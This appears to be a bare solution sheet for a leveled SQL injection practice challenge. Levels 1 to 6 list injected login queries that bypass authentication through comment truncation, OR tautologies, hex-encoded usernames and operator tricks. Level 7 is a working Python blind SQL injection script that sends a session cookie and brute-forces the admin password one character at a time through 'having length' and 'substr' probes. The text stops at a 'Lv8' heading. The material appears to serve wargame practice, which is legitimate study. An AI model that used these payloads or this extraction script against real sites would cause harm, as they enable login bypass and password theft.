Lv1

select \* from tb\_lv1 where id='admin'#' and pw=''

Lv2

select \* from tb\_lv2 where id='guest' and pw='' or id='admin' and '1'='1'

Lv3

select \* from tb\_lv3 where id='guest' and seq=0 or id=0x61646d696e and true

Lv4

select \* from tb\_lv4 where id='guest' and pw='1' || id='admin' && true#'

Lv5

select \* from tb\_lv5 where id='guest' and pw=''or(id='admin')and(true)#'

Lv6

select \* from tb\_lv6 where id='admin'#' and pw=''

Lv7 code

import urllib.request as req

import re

from urllib import parse

import time

lvurl = "\*/q/lv7.php?"

cookie = "PHPSESSID=\*"

length = 0

while (1):

length = length + 1

query = {

'search' : """admin%' having length(pw) = """ + str(length) + """#"""

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode("utf-8"))):

break

print("length : {}".format(length))

password = []

for k in range(length):

for j in range(128):

val = chr(j)

if(val == '&' or val == '|' or val == '\_'):

continue

query = {

'search' : """admin%' having substr(pw,"""+str(k+1)+""",1) = '""" + val + """'#"""

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

break

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode('utf-8'))):

password.append(val)

print ("".join(password))

break

print("password : ", end='')

print("".join(password))

Lv7 password : PASSWD@DM1N

Lv8